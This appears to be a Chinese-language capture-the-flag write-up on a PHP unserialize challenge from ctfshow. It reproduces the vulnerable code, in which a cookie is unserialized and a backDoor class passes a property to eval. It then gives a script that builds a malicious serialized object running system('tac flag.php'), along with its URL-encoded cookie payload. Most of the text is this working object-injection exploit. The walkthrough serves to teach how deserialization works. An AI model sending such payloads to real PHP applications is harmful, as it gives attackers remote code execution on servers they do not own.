- 代码审计
```php <?php errorreporting(0); highlightfile(__FILE);
class ctfShowUser{ private $username=’xxxxxx’; private $password=’xxxxxx’; private $isVip=false; private $class = ‘info’;
//魔术方法,当对象被创建时被触发 public function __construct(){
#这里创建info对象
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
//魔术方法,当对象被销毁时,自动触发 public function __destruct(){ //调用对象中的成员函数 $this->class->getInfo(); }
}
class info{ private $user=’xxxxxx’; public function getInfo(){ return $this->user; } }
//需要去利用的后门类 class backDoor{ private $code; public function getInfo(){ eval($this->code); } }
$username=$_GET[‘username’]; $password=$_GET[‘password’];
if(isset($username) && isset($password)){ $user = unserialize($_COOKIE[‘user’]); $user->login($username,$password); }
2. 这里要利用魔术方法,当对象被销毁时,调用成员`getInfo`方法,所以要让`Cookie`反序列化的对象为`backdoor`类,然后对象被销毁后调用析构函数,去执行`eval`函数
```php
#构造序列化backdoor对象
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
private $code="system('tac flag.php');";
public function getInfo(){
eval($this->code);
}
}
$a=new ctfShowUser();
echo(urlencode(serialize($a)));
?>
#输出
#O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D
- 利用工具发送数据包